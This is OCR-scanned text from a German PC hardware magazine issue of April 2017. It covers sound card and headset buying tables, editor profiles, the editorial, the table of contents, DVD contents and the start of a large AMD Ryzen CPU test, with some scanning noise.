Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate EE КОШОМ: puce ei Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Ca. 340,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TPS6130A2 ein/nein Mikr.-Lautstárkeregl. am Gerät 2,27 05/2015 | www.pcgh.de/preis/1150607 


Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Bluetooth Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 

Steelseries Siberia 800 Ca. 240,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 

Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 

Sennheiser GSP 350 Ca. 140,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 03/2017 | www.pcgh.de/preis/1 543799 (Tr ek 
Kingston Hyper X Cloud 2 | Ca. 80,- | Funk Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 | 08/2015 | www.pcgh.de/preis/1223096 

Lioncast LX50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, Extra Polster 1,94 03/2017 | www.pcgh.de/preis/1 560427 «ТІМ 
Corsair Void RGB Wireless | Ca. 105,- | Klinke Geschlossen, ohrumschließend | 320 Gramm | 68 Ohm Ja, virtuell | Ordentliche Software 1,97 06/2016 | www.pcgh.de/preis/1307022 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


d 


mit Peer Heinlein, 
Heinlein Support GmbH 


m 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


Ё python 


Puppet Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 


NETWAYS GmbH 
mNETWAYsy /NPuppet 


Y 
f /ComputecAcademy 


IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


m Bleiben Sie trotz zeitlicher Engpässe 
B 


Effiziente BASH-Skripte 


` mit Klaus Knopper, 

Gründer der Knoppix-Distribution, 
KNOPPER.NET 

199 € 


Linux Linux Foundation 
L. FOUNDATION ШШ 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — OpenStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
Sys4 AG 


[*] sys4 


Enterprise Experts 


www.computec-academy.de 


SERVICE | Teamseite 


Die Redaktion 


n m ys BAYER 
Chefredakteur n m ys tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAEL 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Ich wundere mich immer wieder, wie oft ich den gefühlt hundert 
Jahre alten, aber immer noch guten Epson-Scanner anwerfe. 


Bei mir daheim steht ein funktionsfähiger Desktop-PC. Und einer, der 
nicht mehr richtig geht, weshalb er durch ein Spiele-Notebook ersetzt wurde. 
Irgendwann bastle ich daraus vermutlich noch mal einen feinen Zweit-PC, 
aber dazu brauche ich Lebenszeit, die ich im Moment nicht habe. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
2170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Eine zweite 960-GByte-SSD sorgt für Speicherzuwachs. 


Bei mir daheim stehen sechs PCs. Mein Hauptrechner (i7-5820K + GTX 
Titan X), mein Bastel-/Bench-PC (FX-8350 + R9 Nano), der Rechner meiner 
schöneren Hälfte (A8-5500 + RX 470), ihr Zenbook (Intel + Nvidia), mein 
X100e (AMD) sowie ein Atom-betriebener HT-/Blu-ray-PC (Intel). Interessante 
Marktanteile, nicht wahr? Die PCs laufen natürlich nie alle parallel. 


Retro-PC #2: Pentium M (Dothan) @ 2,6 GHz, Voodoo 5 5500/128M @ 200+ 
MHz, Asrock M266A 3.0, 2 x 512 MiB DDR-260, 19"-CRT; Windows XP x86 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Microsoft Edge hat die Aufgabe ,Fessourcenschonende Wiederga- 
be der ersten Staffel von The Grand Tour" gemeistert. Zurück bleiben gemisch- 
te Gefühle, die die IMDb-Wertung von 9,1 nicht ganz nachvollziehen kónnen. 


Bei mir daheim steht ein Antiquariat ... und ein Fossil wäre noch aus 
Einzelteilen zusammenzusetzen. In der Mitte des Raumes ausgestellt, kónnte ich 
endlich Eintritt von meinen Gásten verlangen und sie bitten, nichts anzufassen. 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL ENCORE SC E 


Redakteur KEE SC E mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Der Xbox-Elite-Controller wird zurückgeschickt, weil er beim 
Vibrieren hochfrequente Geräusche erzeugt. Wahrscheinlich ist eine Schraube 
schuld — den Fehler gab es schon beim Original von 2013 (!). 


Bei mir daheim stehen zwei PCs. Der Spiele-PC, der auch für die eine oder 
andere Stunde Netflix herhalten darf, sowie ein Notebook für unterwegs und 
die eine oder andere Stunde auf der Terrasse. 


Privat-PC: Core i7-4790K @ H,O, Asus 297-А, Corsair 16 GiB DDR3-1600, 
Radeon R9 390, Sandisk Ultra 11 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Mir fehlt noch ein Grund, die Vorjahreshardware auszutauschen. 


Bei mir daheim steht ein PC. Mit fast zehn Jahre alter Hardware dient 
mein Tower als Schreibmaschine für meine bessere Hälfte. Ich selbst zocke nur 
noch auf Notebooks, um komatös auf der Couch gammeln zu können. Was 
zählt ansonsten als PC? Mein Tablet? Mein Raspberry? Meine Fritzbox? Ich 
hab die PC-Aufgaben mittlerweile dezentral outgesourced. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Ich habe gerade das etwas anstrengend zu lesende Metro 2035 
von Dmitri Glukhovski durch und bin in düsterer Endzeitstimmung. Nun spiele 
ich die Metro-Redux-Teile auf dem PC noch einmal, aufgehübscht durch Re- 
shade. Wer wissen will, wie das aussieht, schaut auf Flickr unter Philipp_Reuther. 


Bei mir daheim steht eigentlich nur ein einziger PC. Der kann dafür 
alles, was mir wichtig ist. Ein Notebook für unterwegs habe ich auch noch. 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 1x 960 + 3x 512 GB SSDs, 
2x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX Il, 27-Zoll-Freesync-LCD 


FRANK STÖWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Die Radeon-Relive-Funktion gefällt mir immer besser: Genügend 
Optionen, geringer Fps-Verlust, keine Zwangsregistrierung — so soll es sein. 


Bei mir daheim stehen sechs PCs. Neben meinem 11-Liter-Mini (unten) 
noch mein voriger Spiele-PC, mein Budget-Projekt sowie der PC meiner besse- 
ren Hälfte. Dazu ein älteres Notebook (Blu-rays am TV) und ein Win10-Tablet 
(für 40 €!). Und eine Unmenge an Retro-Teilen (in der Mehrzahl Grafikkarten). 


Privat-PC: i7-5775C (3,6 GHz), 16 GiB RAM (DDR3-1866), NVME/-M.2-SSD 
(128 GB), RX 480 (4+4G), 120Hz-LCD (24"), Mini-ITX-Gehäuse (11 Liter Vol.) 


PC aktuell: Meine Razer (Ur)Mamba verliert ihre Gummierung und der Akku 
schwächelt. Ich werde sie gegen die Logitech G403 Prodigy Wireless eintauschen. 


Bei mir daheim stehen sechs PCs. Neben dem hier schon oft erwähnten 
Spiele-Mini und meinem Nordschleifenrechner (s.u.) im Edelgehäuse gehören 
zu meinem Haushalt noch ein Notebook, zwei Multimedia-Minis — einer 
davon fungiert als Fernseh-PC im Schlafzimmer — sowie ein Windows-Tablet. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


GEN VOGEL 


Redakteur GEN tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontär | ab@pcgh.de | Fachbereich: Software und mehr 


PC aktuell: Wie stark und lange eine Knochenabsplitterung im rechten 
Handgelenk selbst PC-Aktivitäten einschränkt? „Neuer Minesweeper-Rekord mit 
Links: 178 s” beschreibt meine erzwungene Untätigkeit und Frustration gut. 


Bei mir daheim stehen sieben PCs. Davon sind zwei Retro-Systeme sowie 
der neue Rechner meiner Freundin aber (noch) nicht einsatzbereit und ihr 
Retro-Rechner sowie das Uralt-Notebook werden kaum genutzt. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
@ 1.245/3.800 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: , Telltale's The Walking Dead Staffel 3" hat mich wieder für die 
Serie begeistert. Auch wenn man nicht von skill-lastigem Gameplay sprechen 
kann - stortytechnisch erstklassig! 


Bei mir daheim stehen vier PCs. Ein Desktop-PC für meine Hobbies, wie 
etwa Videobearbeitung und dann gibt es noch ein Notebook für unterwegs. 
Zum Experimentieren habe ich noch ein Linux-Netbook und ein RaspberryPi. 


Privat-PC: Intel Core 15-3450, 8 GiByte DDR-RAM, AMD Radeon HD7700 
ОС, P8B75-MLX (ATX) 


STEPHAN WILKE 
Community Content Commerce Manager | sw@pcgh.de | Fachbereiche: ОС, RAM, PCGH-Extreme-Forum 


PC aktuell: Da ich einfach mal wieder Lust zum Basteln habe, Windows nicht 
mehr ganz rund läuft und mein altes Mainboard keinen M.2-Slot hat, sind das 
alles gute Gründe für den Bau eines neuen PCs. Core i7-7700K, die Samsung 
960 Pro und Co. liegen bereit, jetzt brauche ich nur Zeit für den Zusammenbau. 


Bei mir daheim stehen vier PCs. Der einzig wahre PC ist aber mein 
Desktop-PC und davon steht nur ein einziger im Haushalt. 


Privat-PC: Core i7-4770, 16 GiB DDR3 (Corsair), Gigabyte 287-Воага, MSI 
GTX 760, 624-GB-SSD, LG BH10LS, Samsung S27A850D, WD EX2100 NAS 
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PC aktuell: Derzeit verschlinge ich 1v1-Quake-Live-Demos und Analysen 
dazu. Es ist faszinierend zu sehen, welche taktische Tiefe das Spiel bei Pro- 
Gamern entfaltet. Aiming und Dodging sind eben nur die halbe Miete. 


Bei mir daheim stehen zwei PCs ... die ich regelmäßig nutze. Dazu 
kommen aber noch einige mit wenigen Handgriffen funktionstüchtige Systeme 
und eine Sammlung mit überwiegend àlterer Hardware. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, Р27Т-6 IPS 


www.pcgameshardware.de 
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SERVICE | Vorschau 
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AMD 
Ryzen 
im Test 


Bezahlbare Sechs- und 
Achtkern-Prozessoren, wer 
möchte das nicht? In der 
kommenden Ausgabe testen 


wir AMDs Ryzen-CPUs nebst 
passender Mainboards — 
versprochen. 


Nachschlag‘ 


Wir prüfen neue Kraft-Designs auf 
Basis der Geforce GTX 1080 — mit 
etwas Glück gesellt sich auch die 
GTX 1080 Ti dazu. 


Kauf- 
Beratung: 
Mainboards 


Die Hauptplatine vereint unzählige 
Komponenten. Wir verraten, wor- 
auf Sie beim Kauf achten müssen. 


Weitere Themen (u. a.) 


I Tests: SSD-Frühjahrskollektion, günstige Notebooks 
I Praxis: Software für GPU-Stabilitätstests, Make-up für PC-Spiele 
I Info: Intel-CPU-History, Grafik-Effekte erklärt (Teil 2) 


е NC 
m vr Dori il Lime LINE 


Die nächste PC Games Hard- 
ware erscheint am 5. April 2017. 


Abonnenten bekommen das 
Heft üblicherweise 
einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewáhr. Aufgrund von Termin- 
verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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Wirbelwind Ryzen, GTX 1080 Ti 
im Eigenbau, die beste Hardware 


© 


Thilo Bayer 
Chefredakteur 


PC Games Hardware 


Wirbelwind Ryzen: Letzten Monat schrieb ich noch ausführlich darüber, warum wir keinen 
Ryzen-Test im Hefthaben, und ich versprach, das „größtmögliche Ryzen-Special (...), das wirklich 
alle Fragen beantwortet“. Gesagt, getan: Das PCGH-Ryzen-Team beleuchtet auf 32 Seiten nicht 
nur die drei Ryzen-7-CPUs, sondern auch erste AM4-Mainboards, das gar nicht so triviale Thema 
Kühler-Kompatibilität, die Speicher-Unterstützung, Overclocking und vieles mehr. Vielleicht 
beantworten wir (noch) nicht alle Fragen, aber ein derart umfangreiches Special gab es in der 
PC Games Hardware noch nie. Mich würde es sehr freuen, wenn Sie mir dazu Ihre Meinung an 
tb@pcgh.de schicken würden. Braucht es in PCGH öfter solche epischen Specials oder sollte 
das eher die absolute Ausnahme bleiben? Und finden Sie den Start der Ryzen-Serie nun insge- 
samt gelungen? 


Ab dem 11. April will AMD dann übrigens auch die Ryzen-5-Serie mit gleich vier CPUs nach- 
schieben. Für einen Test in dieser Ausgabe standen uns leider keine Retail-Prozessoren zur Ver- 


fügung, allerdings finden Sie ab Seite 8 eine seriöse Simulation der Benchmark-Ergebnisse zumindest zweier CPUs. Für 
die kommende Ausgabe 06/2017 dürfen Sie dann mit Tests des kompletten Line-ups rechnen. 


GTX 1080 Ti im Eigenbau: Trotz vielfältiger Bemühungen haben wir es leider nicht geschafft, rechtzeitig für diese Ausgabe 
Custom-Designs der Geforce GTX 1080 Ti für Sie zu testen - obwohl wir alles versucht haben. Aber wenn sich Hersteller 
dazu entschließen, ihre raren Samples einem anderen Medium zu geben, sind auch wir machtlos. Mit der „Custom GTX 


1080 Ti im Eigenbau“ ab 


Seite 58 bieten wir hoffentlich einen würdigen Ersatz für den Test entsprechender Hersteller- 


karten an. Die holen wir selbstverständlich in der kommenden Ausgabe nach, denn die gute Nachricht ist: So schnell 
werden die meisten Designs der Nvidia-Partner gar nicht verfügbar sein. 


Die beste Hardware: Seit März ist übrigens auch das Testjahrbuch 2017 im Handel oder als Download verfügbar. Wer PC 
Games Hardware nicht sowieso schon regelmäßig liest, findet dort eine Zusammenstellung der 170 besten Produkte für 
Spieler. Weitere Infos finden Sie unter www.pcgh.de/Testjahrbuch2017. 


Viel Spaß mit der Ausgabe Nummer 199 wünscht Ihr 


Raff scheucht nicht nur 
die GTX 1080 Ti durch den 
Benchmark-Parcours, er ist 
auch am zweiten großen 
Thema, dem Ryzen-Mega- 
test, beteiligt. 


Re ` u 


Manuel ordert 16 SSDs ins Testlabor und 
stellt fest, dass der Flash-Speicher seit letz- 
tem Herbst immer teurer geworden ist. 


im März 2017 


nen Gehäusen und testet, ob diese eine gute Basis 


PCGH-Fan werden auf: 


Die beste | 
PC-Hardware 


Die Redaktion 


+++ Manuel demonstriert, an welchen Stellschrauben Sie drehen müssen, um das 
bestmögliche Monitorbild zu erhalten +++ Der Spieleonkel widmet sich klei- 


für einen Spiele-Mini sind +++ 


Carsten gehört wie Raff, Stephan und Torsten zum AMD-Ryzen-Testkommando 
+++ Phil wird kreativ und verpasst Spielen ein Optik-Make-up per Reshade 3.0 
+++ Aleco erklärt, wie Sie die grafische Qualität von Videos verbessern +++ 


H SERVICE | Heftinhalt 


Heftinhalt 


AMDs Ryzen im Test: .............................. 8 
R7 1800X, 1700X und 1700 plus Ryzen-5-Preview 
Architektur... etes 18 
CCX, Mikro-Op-Cache & Co. 

Skalterung 22 
Das bringen Kerne, SMT und PCI-E-OC 
Overclocking und ВАМ.............................. 26 
Die Grenzen von Ryzen 
Маіпроагӣ5................................................. 34 
Die ersten AM4-Platinen für Ryzen 

Kühler & Kompatibilitàt............................. 44 
Fazit, 47 


GRAFIKKARTEN 


Startseite: 48 
Leistungsindex von 20 Grafikkarten, neueste 
Infos zu AMDs RX Vega und RX 500 

Test & Praxis: Geforce GTX 1080 Ti.......... 50 
Test inkl. Kühlerwechsel und OC: Die GTX 1080 
Ti verdrängt die Titan X vom Leistungsthron 
Praxis: Schaubild Grafikkarte ..................... 62 
Die wichtigsten Bauteile eines modernen 
Pixelbeschleunigers im Schaubild 


4 PC Games Hardware | 05/17 


А 

| um WW 

N WW ww = ШЕ 
W AN) gu mt үү 


AMDs Ryzen im Test 


AMD ist zurück in der Oberklasse. Im Ryzen-Test er- 
mitteln wir auf 32 Seiten (!) die Leistung der CPUs, 
analysieren die Skalierung, geben OC-Tipps und 
präsentieren die ersten Kühler und AM4-Platinen. 


PROZESSOREN 


Startseite: 66 
Leistungsindex von 40 Prozessoren 


INFRASTRUKTUR 


Startseite: 68 
Medion Erazer X58426 getestet; Nachtest 
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Test: Marktübersicht $$05........................... 70 
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Acht Kleinformat-Gehäuse im Vergleichstest 
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expert 


Mit den besten Empfehlungen 


Desktop-PC 
/ Ë Pavilion 560-p032ng 
Weiß-Silber 


«Super Multi-DVD Brenner 
«W-LAN, Bluetooth 
e3x Display Port, 1x DVI, 1x HDMI 
e3x USB 3.0; 2x USB 2.0; 

1x USB 3.0 (Type-C"") 


eWindows 10 Home (64 Bit) 
Art.Nr.: 17030556414 


Intel? Core" i7-6700 Prozessor 
(bis zu 4,00 GHz mit Intel? 
Turbo-Boost-Technik 2.0, 8 MB 
Intel? Smart-Cache) 


Ultraschnelle 128 GB SSD 
1000 GB HDD (7200 U/Min.) 
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Vollversion: 


# Dungeons 2 


5 Videos: (ca. 39 Minuten) 
ards im Überblick 


1 Reshade in der P 

1 Geforce GTX 108 

1 Video-Upscaling mit MadVR 
trospektive 01/2009 


i: Kühler-Mod 


aununnse? 


Heft-DVD 


Vollversion 
® Dungeons 2 


Videos aus der PCGH-Redaktion 
3» Erste AMA-Mainboards für Ryzen 

3» Spiele aufhübschen mittels Reshade 

3» Video-Upscaling mit Mad VR 

X» GTX 1080 Ti: Kühlermod und OC auf rund 2.000/6.000 MHz 
29 PCGH-Retrospektive 12/2008 


Specials 

29 Begleitmaterial Reshade 

29 Begleitmaterial Mad VR 

Tools 

® GPU-Z 1.18.0, MSI Afterburner 4.3.0 Final/Stable, 
Nvidia Inspector 1.9.7.8, PCGH-VGA-Tool 1.0.1, Radeon Pro 
1.1.1.0, Sapphire Trixx 6.3.0 

Jp AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, 
Prime 95 28.10, Super Pi 1.9 

® Core Temp 1.6, CPU-Z 1.78, HD-Tune 2.55 und 5.60 Trial, 

Speedfan 4.52, Sysinternals Suite (02/2017) 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware können Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback 


Die ersten Ryzen-Mainboards: 
Fachredakteur Torsten Vogel stellt erste 
AM4-Mainboards für AMDs Ryzen-Pro- 
zessoren im Detail vor. 


-— 
e 


in 


Reshade in der Praxis: 

Philipp Reuther zeigt, wie sich die Grafik 
vieler Spiele einfach aufhübschen und an 
den eigenen Geschmack anpassen lässt. 


* “Неше x Video-Upscaling: PCGH-Neuzugang 


Alexandros Bikoulis erläutert und de- 
monstriert für Sie die Funktionsweise des 
Video-Verbesserers Mad VR. 


Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 
(Name, Straße, PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 05/2017) unter dem 
Betreff „PC Games Hardware: DVD-Reklamation” an computec@dpv.de. 


PCGH 01/2017: Umfrage 


Die Umfrage kauft anonym, es werden keine perso 
Auswertung der Umfrage gelöscht 


Wie fanden Sie die folgenden Artkel/CVD-Inhart? 


Thema « 


Praxis Kaufberatung e 
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I Spannende Einzelspielerkampagne mit 10 Missionen 

I Zwei spielbare Fraktionen, 26 einzigartige Kreaturen 

I Kombiniert Dungeon-Keeper-Gameplay und Echtzeitstrategie 

I Witzige Unterwelt-Ráumlichkeiten P? 

I Vier kompetitive Modi für bis zu vier Spieler – auch über LAN 

I Heft-DVD-Fassung enthält kostenlosen DLC A Clash of Pumpkins 


Auf seinem unaufhaltsamen Rachefeldzug schart der dunkle Herrscher 
in Dungeons 2 zahlreiche neue Monster aus allen Ecken der Unterwelt 
um sich und wagt sogar den Schritt an die Oberwelt! Übernehmen Sie 
die Kontrolle über zwei abwechslungsreiche Fraktionen und errichten Sie 
einzigartige Dungeons. Rekrutieren Sie eine Armee furchterregender Krea- 
turen und verteidigen Sie das Reich gegen Eindringlinge! Erleben Sie eine 
umfangreiche Kampagne inklusive einer spannenden Geschichte, gespickt 
"mit zahlreichen Anspielungen auf diverse Fantasy-Bücher, Filme und Serien. 


z LIMITIERTE DAY o 


Vier Mehrspielermodi für bis zu vier Spieler laufen über LAN oder Internet! 
Era ma Docs 


E J MT DVD LAU WR. Pos Kap ace MACNE 


TK PIN, 
RE аз 


SPIELT SICH WIE 
UNGEON KEEPER” 


TCGAMIS.DE ZUG 
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Ersteinrichtung: 

Für die Installation benótigen Sie eine Online-Verbindung. Installieren 
Sie das Spiel von der Heft-DVD und bestätigen Sie danach den Download 
für die Installation des Kalypso-Launchers. Sie benötigen außerdem einen 
gültigen Kalypso-Account, den Sie kostenlos anlegen kónnen. Den Key 
auf der Codekarte (S. 66/67) lösen Sie zunächst für den Kalypso-Installa- 
tionsschlüssel auf www.pcgh.de/codes ein. Nach der Erstinstallation lädt 
der Launcher noch ca. 2 GB zusátzliche (Patch-)Daten aus dem Internet 
herunter. Für den Installationsprozess benótigen Sie insgesamt bis zu 
13 GByte Speicher — belegt bleiben davon knapp 5 GByte. 


Systemvoraussetzungen minimal: Betriebssystem: Windows Vista/7/8.x/10, CPU: 3,0 
GHz Dual- oder 2,6 GHz Quadcore, RAM: 3 GiByte, Grafik: Intel HD 4400/Nvidia Geforce 
GT 440/AMD Radeon HD 7750 oder hóher, HDD/SSD-Speicher: 5 GByte. 
Systemvoraussetzungen empfohlen: Betriebssystem: 64 Bit Windows 7 (oder 
neuer), CPU: 3,2/3,8 GHz Intel-/AMD-Quadcore, RAM: 4 GiByte, Grafik: AMD Radeon R7 
265/Nvidia Geforce GTX 650 oder hóher, HDD/SSD-Speicher: 5 GByte. 
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SPECIAL | Ryzen: Test 


AMD ist zurück. Die neuen Ryzen-Prozessoren sind vergleichsweise günstig, machen alles besser als 


ihre Vorgànger — jedoch nicht alles im Vergleich zu Intel. Wo noch Fallstricke lauern, klárt unser Test. 


R7 1800X, 1700X und 1700 plus 
Ryzen-5-Preview 


Architektur... 18 
CCX, Mikro-Op-Cache & Co. 
Skalierung................................ 22 
Das bringen Kerne und SMT 

OC und ВАМ............................. 26 
Die Grenzen von Ryzen 
Mainboards............................... 34 


Die ersten AM4-Platinen für Ryzen 
Kühler & Kompatibilitát......... 44 
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ach schier endlosem Warten 
N ist es nun endlich so weit: 
AMDs neue CPU-Generation geht 
an den Start und mischt sogleich 
das Markt- und Machtgefüge auf. 
Nach unserem zeitnahen Online- 
Test auf www.pcgh.de haben wir 
inzwischen weitere Ryzen-Muster 
erhalten, eine Vielzahl an Main- 
boards und UEFI-Versionen so- 
wie einige Windows-Updates und 
mehrfach unseren Test-Parcours 
durchlaufen. In der mit 32 Seiten 
wohl größten Strecke zu einem 
Thema seit PCGH-Bestehen prä- 
sentieren wir Ihnen im Folgen- 
den den ultimativen Ryzen-Test. 


Wir beginnen mit unserem Test 
nach bewährten Standards, geben 
einen Überblick zur Architektur, 
beleuchten, was die vielen Ker- 
ne sowie SMT bringen, loten die 
Grenzen von Ryzen beim Takt 
und RAM aus und testen den ers- 
ten Schwung Mainboards. Den 
Abschluss bilden ein Überblick zu 
Ryzen-tauglichen Kühlern sowie 
die individuelle Fazits der am Test 
beteiligten Kollegen. 


Den Anfang des Ryzen-Reigens 
machten im März drei Achtkerner: 


Der Ryzen 7 1800X, der 1700X und 
der X-lose 1700 - die einzelnen Da- 
ten haben wir in der Tabelle oben 
rechts erfasst. Der Clou: Bei Ryzen 
handelt es sich im Gegensatz zu 
Bulldozer um echte Kernangaben, 
die sogar noch durch Simultane- 
ous Multithreading aufgewertet 
werden: Die Ryzen 7 sind also 
echte Achtkerner mit 16 Threads 
und in dieser Hinsicht mit Intel- 
Modellen wie dem i5-5960X oder 
i7-6900K vergleichbar. Noch im 
März kündigte AMD auch offiziell 
die Ryzen-5-Modelle an, die ab dem 
11. April in den Handel kommen 
sollen. Für die zwei Top-Modelle, 


www.pcgameshardware.de 


Ryzen: Test | SPECIAL 


ER 


AMDs Ryzen-Modelle in der Übersich t 
— x pi € x d б, ї: = Li "I: It а „яаа! ve шай ПЕНАЛ А Е 
Reihe | Modell | Sockel ... | Freier Multi- Kerne Basis- Turbo Turbo XFR SC- TDP Verfügbarkeit Preis Ñ 
plikator (phys./log.) Takt (Allcore) (Max)* Turbo+ ... =] 
А7 1800X AM4 a 8/16 3,6 GHz 3,7 GHz 4,0 GHz 100 MHz 95 Wa 02. März 2017 | 499 US-$ | 560 EUR wid 
R7 1700X AM4 a 8/16 3,4 GHz 3,5 GHz 3,8 GHz 100 MHz 95 Wa 02. März 2017 | 399 US-$ | 440 EUR | 
R7 1700 AM4 a 8/16 3,0 GHz 3,2 GHz 3,75 GHz 50 MHz 65 Wa 02. März 2017 | 329 US-$ | 360 EUR 
1 | R5 600X AM4 a 6/12 3,6 GHz k.A. 4,0 GHz k.A. 95 Wa 11. April 2017 | 249 US-$ ? 
OR 1600 AM4 a 6/12 3,2 GHz k.A. 3,6 GHz k.A. 65Wa 11. April 2017 | 219 US-$ ? 
R5 1500X AM4 a 4/8 3,5 GHz k.A. 3,7 GHz 200 MHz 65Wa 11. April 2017 | 189 US-$ ? 
R5 1400X AM4 a 4/8 3,2 GHz k.A. 3,4 GHz k.A. 65 Wa 11.April 2017 | 169 US-$ ? 
1 Basierend auf Gerüchten: 
R3 1200X AM4 k.A. 4/4 3,4 GHz КА. e Hälfte 2017 
R3 1100 k.A. 


den R5-1600X und den -1500X ha- 
ben wir uns an eine Simulation 
mithilfe der R7-CPUs gewagt. Die 
Werte finden Sie unten abgesetzt in 
den Benchmark-Diagrammen. 


Acht Kerne für alle! 

Selbst das Ryzen-7-Spitzenmodell 
kostet zu Redaktionsschluss nur 535 
Euro, also knapp die Hälfte dessen, 
was Intel Achtkern-Fans abknöpfen 
will. Damit hat sich der Einstands- 
preis für einen Achtkern-Prozessor 
quasi über Nacht halbiert. Der R7- 
1700X und der R7-1700 sind mit 
395 respektive 345 Euro sogar noch 
günstiger und speziell Letzterer die 
eigentliche Empfehlung der R7-Rei- 
he, sofern Sie ein wenig manuelles 
Übertakten nicht scheuen - denn 
das fehlende „X“ bedeutet nicht 
etwa, dass der R7-1700 abgespeckt 


www.pcgameshardware.de 


wäre: Kerne, Caches & Co. sind voll- 
zählig und nur die Taktraten liegen 
unter den teureren X-Modellen. Zu- 
dem gibt AMD an, die Prozessoren 
zu selektieren - ein X bedeutet da- 
mit im Durchschnitt auch einen hö- 
heren Takt. Doch das OC-Potenzial 
ist nicht so dramatisch unterschied- 
lich, dass es unserer Meinung nach 
